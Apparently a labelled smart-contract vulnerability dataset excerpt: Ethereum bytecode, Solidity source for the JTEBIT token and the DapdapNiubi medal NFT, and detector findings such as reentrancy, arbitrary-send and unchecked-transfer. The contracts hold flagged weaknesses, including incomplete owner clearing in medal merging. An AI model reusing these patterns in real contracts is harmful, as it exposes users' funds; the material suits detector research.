992985090965090945050505050565b6000808080611c5d88866117c2565b90506000611c6b88876117c2565b90506000611c7988886117c2565b90506000611c8b82611c388686611af0565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611ccb57858101830151858201604001528201611caf565b81811115611cdd576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146107b557600080fd5b8035611d1381611cf3565b919050565b60008060408385031215611d2b57600080fd5b8235611d3681611cf3565b946020939093013593505050565b600060208284031215611d5657600080fd5b813561163281611cf3565b600080600060608486031215611d7657600080fd5b8335611d8181611cf3565b92506020840135611d9181611cf3565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611dcb57600080fd5b823567ffffffffffffffff80821115611de357600080fd5b818501915085601f830112611df757600080fd5b813581811115611e0957611e09611da2565b8060051b604051601f19603f83011681018181108582111715611e2e57611e2e611da2565b604052918252848201925083810185019188831115611e4c57600080fd5b938501935b82851015611e7157611e6285611d08565b84529385019392850192611e51565b98975050505050505050565b60008060408385031215611e9057600080fd5b50508035926020909101359150565b600060208284031215611eb157600080fd5b5035919050565b600060208284031215611eca57600080fd5b8135801515811461163257600080fd5b60008060408385031215611eed57600080fd5b8235611ef881611cf3565b91506020830135611f0881611cf3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611f8857611f88611f5e565b5060010190565b600060208284031215611fa157600080fd5b815161163281611cf3565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219821115611fe657611fe6611f5e565b500190565b600082821015611ffd57611ffd611f5e565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120525784516001600160a01b03168352938301939183019160010161202d565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561208d5761208d611f5e565b500290565b6000826120af57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d560848c83f4d0504106e5bc46721756df0e9c15ea7226c254070a0506e9218864736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,890
0x5845a5646c56567975776b61577348807f0afc85
pragma solidity ^0.4.18; /** * @title JTEBIT 吉泰币 * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event PausePublic(bool newState); event PauseOwnerAdmin(bool newState); bool public pausedPublic = false; bool public pausedOwnerAdmin = false; address public admin; /** * @dev Modifier to make a function callable based on pause states. */ modifier whenNotPaused() { if(pausedPublic) { if(!pausedOwnerAdmin) { require(msg.sender == admin || msg.sender == owner); } else { revert(); } } _; } /** * @dev called by the owner to set new pause flags * pausedPublic can&#39;t be false while pausedOwnerAdmin is true */ function pause(bool newPausedPublic, bool newPausedOwnerAdmin) onlyOwner public { require(!(newPausedPublic == false && newPausedOwnerAdmin == true)); pausedPublic = newPausedPublic; pausedOwnerAdmin = newPausedOwnerAdmin; PausePublic(newPausedPublic); PauseOwnerAdmin(newPausedOwnerAdmin); } } contract PausableToken is StandardToken, Pausable { function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } contract JTEBIT is PausableToken { string public constant name = "JTEBIT"; string public constant symbol = "JTE"; uint8 public constant decimals = 18; modifier validDestination( address to ) { require(to != address(0x0)); require(to != address(this)); _; } function JTEBIT( address _admin, uint _totalTokenAmount ) { // assign the admin account admin = _admin; // assign the total tokens to JTEBIT totalSupply = _totalTokenAmount; balances[msg.sender] = _totalTokenAmount; Transfer(address(0x0), msg.sender, _totalTokenAmount); } function transfer(address _to, uint _value) validDestination(_to) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) validDestination(_to) returns (bool) { return super.transferFrom(_from, _to, _value); } event Burn(address indexed _burner, uint _value); function burn(uint _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); totalSupply = totalSupply.sub(_value); Burn(msg.sender, _value); Transfer(msg.sender, address(0x0), _value); return true; } // save some gas by making only one contract call function burnFrom(address _from, uint256 _value) returns (bool) { assert( transferFrom( _from, msg.sender, _value ) ); return burn(_value); } function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner { // owner can drain tokens that are sent here by mistake token.transfer( owner, amount ); } event AdminTransferred(address indexed previousAdmin, address indexed newAdmin); function changeAdmin(address newAdmin) onlyOwner { // owner can re-assign the admin AdminTransferred(admin, newAdmin); admin = newAdmin; } }
0x60606040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e157806323b872dd1461020657806324bb7c261461022e578063313ce5671461024157806342966c681461026a57806364779ad714610280578063661884631461029357806370a08231146102b557806379cc6790146102d45780638da5cb5b146102f65780638f2839701461032557806395d89b4114610346578063a9059cbb14610359578063d73dd6231461037b578063db0e16f11461039d578063dd62ed3e146103bf578063ddeb5094146103e4578063f2fde38b14610401578063f851a44014610420575b600080fd5b341561012c57600080fd5b610134610433565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610170578082015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101cd600160a060020a036004351660243561046a565b604051901515815260200160405180910390f35b34156101ec57600080fd5b6101f46104d9565b60405190815260200160405180910390f35b341561021157600080fd5b6101cd600160a060020a03600435811690602435166044356104df565b341561023957600080fd5b6101cd61052c565b341561024c57600080fd5b61025461053c565b60405160ff909116815260200160405180910390f35b341561027557600080fd5b6101cd600435610541565b341561028b57600080fd5b6101cd61061e565b341561029e57600080fd5b6101cd600160a060020a036004351660243561062e565b34156102c057600080fd5b6101f4600160a060020a0360043516610696565b34156102df57600080fd5b6101cd600160a060020a03600435166024356106b1565b341561030157600080fd5b6103096106cf565b604051600160a060020a03909116815260200160405180910390f35b341561033057600080fd5b610344600160a060020a03600435166106de565b005b341561035157600080fd5b610134610764565b341561036457600080fd5b6101cd600160a060020a036004351660243561079b565b341561038657600080fd5b6101cd600160a060020a03600435166024356107e6565b34156103a857600080fd5b610344600160a060020a036004351660243561084e565b34156103ca57600080fd5b6101f4600160a060020a0360043581169060243516610904565b34156103ef57600080fd5b6103446004351515602435151561092f565b341561040c57600080fd5b610344600160a060020a0360043516610a1d565b341561042b57600080fd5b610309610ab8565b60408051908101604052600681527f4a54454249540000000000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104c85760035460a860020a900460ff16151561011c5760045433600160a060020a03908116911614806104bd575060035433600160a060020a039081169116145b15156104c857600080fd5b6104d28383610ac7565b9392505050565b60005481565b600082600160a060020a03811615156104f757600080fd5b30600160a060020a031681600160a060020a03161415151561051857600080fd5b610523858585610b33565b95945050505050565b60035460a060020a900460ff1681565b601281565b600160a060020a03331660009081526001602052604081205461056a908363ffffffff610b9c16565b600160a060020a03331660009081526001602052604081209190915554610597908363ffffffff610b9c16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a3506001919050565b60035460a860020a900460ff1681565b60035460009060a060020a900460ff161561068c5760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610681575060035433600160a060020a039081169116145b151561068c57600080fd5b6104d28383610bae565b600160a060020a031660009081526001602052604090205490565b60006106be8333846104df565b15156106c657fe5b6104d282610541565b600354600160a060020a031681565b60035433600160a060020a039081169116146106f957600080fd5b600454600160a060020a0380831691167ff8ccb027dfcd135e000e9d45e6cc2d662578a8825d4c45b5e32e0adf67e79ec660405160405180910390a36004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60408051908101604052600381527f4a54450000000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a03811615156107b357600080fd5b30600160a060020a031681600160a060020a0316141515156107d457600080fd5b6107de8484610ca8565b949350505050565b60035460009060a060020a900460ff16156108445760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610839575060035433600160a060020a039081169116145b151561084457600080fd5b6104d28383610d10565b60035433600160a060020a0390811691161461086957600080fd5b600354600160a060020a038084169163a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156108e557600080fd5b6102c65a03f115156108f657600080fd5b505050604051805150505050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a0390811691161461094a57600080fd5b8115801561095a57506001811515145b1561096457600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a841515021775ff000000000000000000000000000000000000000000191660a860020a831515021790557fa14d191ca4f53bfcf003c65d429362010a2d3d68bc0c50cce4bdc0fccf661fb082604051901515815260200160405180910390a17fc77636fc4a62a1fa193ef538c0b7993a1313a0d9c0a9173058cebcd3239ef7b581604051901515815260200160405180910390a15050565b60035433600160a060020a03908116911614610a3857600080fd5b600160a060020a0381161515610a4d57600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600454600160a060020a031681565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60035460009060a060020a900460ff1615610b915760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610b86575060035433600160a060020a039081169116145b1515610b9157600080fd5b6107de848484610db4565b600082821115610ba857fe5b50900390565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610c0b57600160a060020a033381166000908152600260209081526040808320938816835292905290812055610c42565b610c1b818463ffffffff610b9c16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b60035460009060a060020a900460ff1615610d065760035460a860020a900460ff16151561011c5760045433600160a060020a0390811691161480610cfb575060035433600160a060020a039081169116145b1515610d0657600080fd5b6104d28383610f36565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610d48908363ffffffff61103116565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b6000600160a060020a0383161515610dcb57600080fd5b600160a060020a038416600090815260016020526040902054821115610df057600080fd5b600160a060020a0380851660009081526002602090815260408083203390941683529290522054821115610e2357600080fd5b600160a060020a038416600090815260016020526040902054610e4c908363ffffffff610b9c16565b600160a060020a038086166000908152600160205260408082209390935590851681522054610e81908363ffffffff61103116565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610ec9908363ffffffff610b9c16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6000600160a060020a0383161515610f4d57600080fd5b600160a060020a033316600090815260016020526040902054821115610f7257600080fd5b600160a060020a033316600090815260016020526040902054610f9b908363ffffffff610b9c16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610fd0908363ffffffff61103116565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b6000828201838110156104d257fe00a165627a7a723058208a1970ab90ea3cb3954bf9ecb21d1a885d4b2a0acfad40b171505e70ca477ce20029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
3,891
0x676124aac9ff98e77e5630027bd55e1d7e20bac7
pragma solidity ^0.4.24; /** * Issued by * __ __ * /\ \ /\ \ __ * \_\ \ __ _____ \_\ \ __ _____ /\_\ ___ * /&#39;_` \ /&#39;__`\ /\ &#39;__`\ /&#39;_` \ /&#39;__`\ /\ &#39;__`\ \/\ \ / __`\ * /\ \L\ \/\ \L\.\_\ \ \L\ \/\ \L\ \/\ \L\.\_\ \ \L\ \__\ \ \/\ \L\ \ * \ \___,_\ \__/.\_\\ \ ,__/\ \___,_\ \__/.\_\\ \ ,__/\_\\ \_\ \____/ * \/__,_ /\/__/\/_/ \ \ \/ \/__,_ /\/__/\/_/ \ \ \/\/_/ \/_/\/___/ * \ \_\ \ \_\ * \/_/ \/_/ * * dapdapToken(dapdap) */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max(uint a, uint b) internal pure returns (uint) { if (a > b) return a; else return b; } function min(uint a, uint b) internal pure returns (uint) { if (a < b) return a; else return b; } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens /// @author Dieter Shirley <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="771312031237160f1e181a0d1219591418">[email&#160;protected]</a>> (https://github.com/dete) contract ERC721 { // Required methods function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function approve(address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; // Events event Transfer(address from, address to, uint256 tokenId); event Approval(address owner, address approved, uint256 tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds); // function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl); // ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165) // function supportsInterface(bytes4 _interfaceID) external view returns (bool); } contract DapdapNiubi is ERC721{ using SafeMath for uint256; event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price); event Transfer(address indexed _from, address indexed _to, uint256 _tokenId); event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId); address private owner; mapping (address=>bool) admins; mapping (uint => address) public mapOwnerOfMedal; mapping (uint256 => address) public approvedOfItem; // typeId // 0 for bronze // 1 for silver // 2 for gold // 3 for diamond // 4 for starlight // 5 for king struct Medal { uint medalId; uint typeId; address owner; } Medal[] public listedMedal; function DapdapNiubi() public { owner = msg.sender; admins[owner] = true; } /* Modifiers */ modifier onlyOwner() { require(owner == msg.sender); _; } modifier onlyAdmins() { require(admins[msg.sender]); _; } /* Owner */ function setOwner (address _owner) onlyOwner() public { owner = _owner; } function addAdmin (address _admin) onlyOwner() public { admins[_admin] = true; } function removeAdmin (address _admin) onlyOwner() public { delete admins[_admin]; } function getMedalInfo(uint medalId) public view returns(uint, uint, address) { require(medalId<listedMedal.length); Medal memory medal = listedMedal[medalId]; return (medal.medalId, medal.typeId, medal.owner); } // 4. synthesis system function issueMedal(address userAddress) public onlyAdmins { Medal memory medal = Medal(listedMedal.length, 0, userAddress); mapOwnerOfMedal[listedMedal.length] = userAddress; listedMedal.push(medal); } function issueSuperMetal(address userAddress, uint typeId) public onlyOwner { require(typeId<=5); Medal memory medal = Medal(listedMedal.length, typeId, userAddress); mapOwnerOfMedal[listedMedal.length] = userAddress; listedMedal.push(medal); } function mergeMedal(uint medalId1, uint medalId2) public { require(medalId1 < listedMedal.length); require(medalId2 < listedMedal.length); require(listedMedal[medalId1].owner == msg.sender); require(listedMedal[medalId2].owner == msg.sender); require(listedMedal[medalId1].typeId == listedMedal[medalId2].typeId); require(listedMedal[medalId1].typeId <= 4); uint newTypeId = listedMedal[medalId1].typeId + 1; require(newTypeId <= 5); // generate medal listedMedal[medalId1].owner = address(0); listedMedal[medalId2].owner = address(0); mapOwnerOfMedal[medalId1] = address(0); Medal memory medal = Medal(listedMedal.length, newTypeId, msg.sender); mapOwnerOfMedal[listedMedal.length] = msg.sender; listedMedal.push(medal); } function getContractBalance() public view returns(uint) { return address(this).balance; } /* Withdraw */ /* NOTICE: These functions withdraw the developer&#39;s cut which is left in the contract by `buy`. User funds are immediately sent to the old owner in `buy`, no user funds are left in the contract. */ function withdrawAll () onlyAdmins() public { msg.sender.transfer(address(this).balance); } function withdrawAmount (uint256 _amount) onlyAdmins() public { msg.sender.transfer(_amount); } /* ERC721 */ function name() public pure returns (string) { return "dapdap.io"; } function symbol() public pure returns (string) { return "DAPDAP"; } function totalSupply() public view returns (uint256) { return listedMedal.length; } function balanceOf (address _owner) public view returns (uint256 _balance) { uint counter = 0; for (uint i = 0; i < listedMedal.length; i++) { if (ownerOf(listedMedal[i].medalId) == _owner) { counter++; } } return counter; } function ownerOf (uint256 _itemId) public view returns (address _owner) { return mapOwnerOfMedal[_itemId]; } function tokensOf (address _owner) public view returns (uint[]) { uint[] memory result = new uint[](balanceOf(_owner)); uint256 itemCounter = 0; for (uint256 i = 0; i < listedMedal.length; i++) { if (ownerOf(i) == _owner) { result[itemCounter] = listedMedal[i].medalId; itemCounter += 1; } } return result; } function tokenExists (uint256 _itemId) public view returns (bool _exists) { return mapOwnerOfMedal[_itemId] != address(0); } function approvedFor(uint256 _itemId) public view returns (address _approved) { return approvedOfItem[_itemId]; } function approve(address _to, uint256 _itemId) public { require(msg.sender != _to); require(tokenExists(_itemId)); require(ownerOf(_itemId) == msg.sender); if (_to == 0) { if (approvedOfItem[_itemId] != 0) { delete approvedOfItem[_itemId]; emit Approval(msg.sender, 0, _itemId); } } else { approvedOfItem[_itemId] = _to; emit Approval(msg.sender, _to, _itemId); } } /* Transferring a country to another owner will entitle the new owner the profits from `buy` */ function transfer(address _to, uint256 _itemId) public { require(msg.sender == ownerOf(_itemId)); _transfer(msg.sender, _to, _itemId); } function transferFrom(address _from, address _to, uint256 _itemId) public { require(approvedFor(_itemId) == msg.sender); _transfer(_from, _to, _itemId); } function _transfer(address _from, address _to, uint256 _itemId) internal { require(tokenExists(_itemId)); require(ownerOf(_itemId) == _from); require(_to != address(0)); require(_to != address(this)); mapOwnerOfMedal[_itemId] = _to; listedMedal[_itemId].owner = _to; approvedOfItem[_itemId] = 0; emit Transfer(_from, _to, _itemId); } /* Read */ function isAdmin (address _admin) public view returns (bool _isAdmin) { return admins[_admin]; } /* Util */ function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } // solium-disable-line return size > 0; } } interface IItemRegistry { function itemsForSaleLimit (uint256 _from, uint256 _take) external view returns (uint256[] _items); function ownerOf (uint256 _itemId) external view returns (address _owner); function priceOf (uint256 _itemId) external view returns (uint256 _price); }
0x6080604052600436106101475763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662923f9e811461014c5780630562b9f71461017857806306fdde0314610192578063095ea7b31461021c578063123c3ada1461024057806313af40351461027f5780631785f53c146102a057806318160ddd146102c157806323b872dd146102e857806324d7806c146103125780632a6dd48f146103335780633494f2221461036757806349050d851461038b5780635a3f2672146103a35780636352211e146104145780636f9fb98a1461042c578063704802751461044157806370a0823114610462578063819bcb9f1461048357806381a09bf01461049b578063853828b6146104b657806395d89b41146104cb578063a9059cbb146104e0578063d2c6ce5314610504578063d8e223b51461051c575b600080fd5b34801561015857600080fd5b5061016460043561053d565b604080519115158252519081900360200190f35b34801561018457600080fd5b5061019060043561055a565b005b34801561019e57600080fd5b506101a76105a9565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101e15781810151838201526020016101c9565b50505050905090810190601f16801561020e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022857600080fd5b50610190600160a060020a03600435166024356105e0565b34801561024c57600080fd5b50610258600435610710565b604080519384526020840192909252600160a060020a031682820152519081900360600190f35b34801561028b57600080fd5b50610190600160a060020a0360043516610789565b3480156102ac57600080fd5b50610190600160a060020a03600435166107c2565b3480156102cd57600080fd5b506102d66107fa565b60408051918252519081900360200190f35b3480156102f457600080fd5b50610190600160a060020a0360043581169060243516604435610800565b34801561031e57600080fd5b50610164600160a060020a036004351661082d565b34801561033f57600080fd5b5061034b60043561084b565b60408051600160a060020a039092168252519081900360200190f35b34801561037357600080fd5b50610190600160a060020a0360043516602435610866565b34801561039757600080fd5b5061025860043561096f565b3480156103af57600080fd5b506103c4600160a060020a03600435166109a9565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156104005781810151838201526020016103e8565b505050509050019250505060405180910390f35b34801561042057600080fd5b5061034b600435610a6a565b34801561043857600080fd5b506102d6610a85565b34801561044d57600080fd5b50610190600160a060020a0360043516610a8a565b34801561046e57600080fd5b506102d6600160a060020a0360043516610ac8565b34801561048f57600080fd5b5061034b600435610b2f565b3480156104a757600080fd5b50610190600435602435610b4a565b3480156104c257600080fd5b50610190610dea565b3480156104d757600080fd5b506101a7610e38565b3480156104ec57600080fd5b50610190600160a060020a0360043516602435610e6f565b34801561051057600080fd5b5061034b600435610e97565b34801561052857600080fd5b50610190600160a060020a0360043516610eb2565b600090815260026020526040902054600160a060020a0316151590565b3360009081526001602052604090205460ff16151561057857600080fd5b604051339082156108fc029083906000818181858888f193505050501580156105a5573d6000803e3d6000fd5b5050565b60408051808201909152600981527f6461706461702e696f0000000000000000000000000000000000000000000000602082015290565b33600160a060020a03831614156105f657600080fd5b6105ff8161053d565b151561060a57600080fd5b3361061482610a6a565b600160a060020a03161461062757600080fd5b600160a060020a03821615156106aa57600081815260036020526040902054600160a060020a0316156106a55760008181526003602090815260408083208054600160a060020a03191690558051848152905133927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35b6105a5565b6000818152600360209081526040918290208054600160a060020a031916600160a060020a03861690811790915582518481529251909233927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92592918290030190a35050565b600080600061071d6110d2565b600454851061072b57600080fd5b600480548690811061073957fe5b60009182526020918290206040805160608101825260039390930290910180548084526001820154948401859052600290910154600160a060020a03169290910182905297919650945092505050565b600054600160a060020a031633146107a057600080fd5b60008054600160a060020a031916600160a060020a0392909216919091179055565b600054600160a060020a031633146107d957600080fd5b600160a060020a03166000908152600160205260409020805460ff19169055565b60045490565b3361080a8261084b565b600160a060020a03161461081d57600080fd5b610828838383610fb5565b505050565b600160a060020a031660009081526001602052604090205460ff1690565b600090815260036020526040902054600160a060020a031690565b61086e6110d2565b600054600160a060020a0316331461088557600080fd5b600582111561089357600080fd5b5060408051606081018252600480548083526020808401958652600160a060020a03968716848601818152600093845260029092529482208054600160a060020a0319908116909617905582546001810184559290915291517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b60039092029182015592517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19c840155517f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19d909201805490911691909216179055565b600480548290811061097d57fe5b6000918252602090912060039091020180546001820154600290920154909250600160a060020a031683565b6060806000806109b885610ac8565b6040519080825280602002602001820160405280156109e1578160200160208202803883390190505b50925060009150600090505b600454811015610a615784600160a060020a0316610a0a82610a6a565b600160a060020a03161415610a59576004805482908110610a2757fe5b9060005260206000209060030201600001548383815181101515610a4757fe5b60209081029091010152600191909101905b6001016109ed565b50909392505050565b600090815260026020526040902054600160a060020a031690565b303190565b600054600160a060020a03163314610aa157600080fd5b600160a060020a03166000908152600160208190526040909120805460ff19169091179055565b600080805b600454811015610b285783600160a060020a0316610b0a600483815481101515610af357fe5b906000526020600020906003020160000154610a6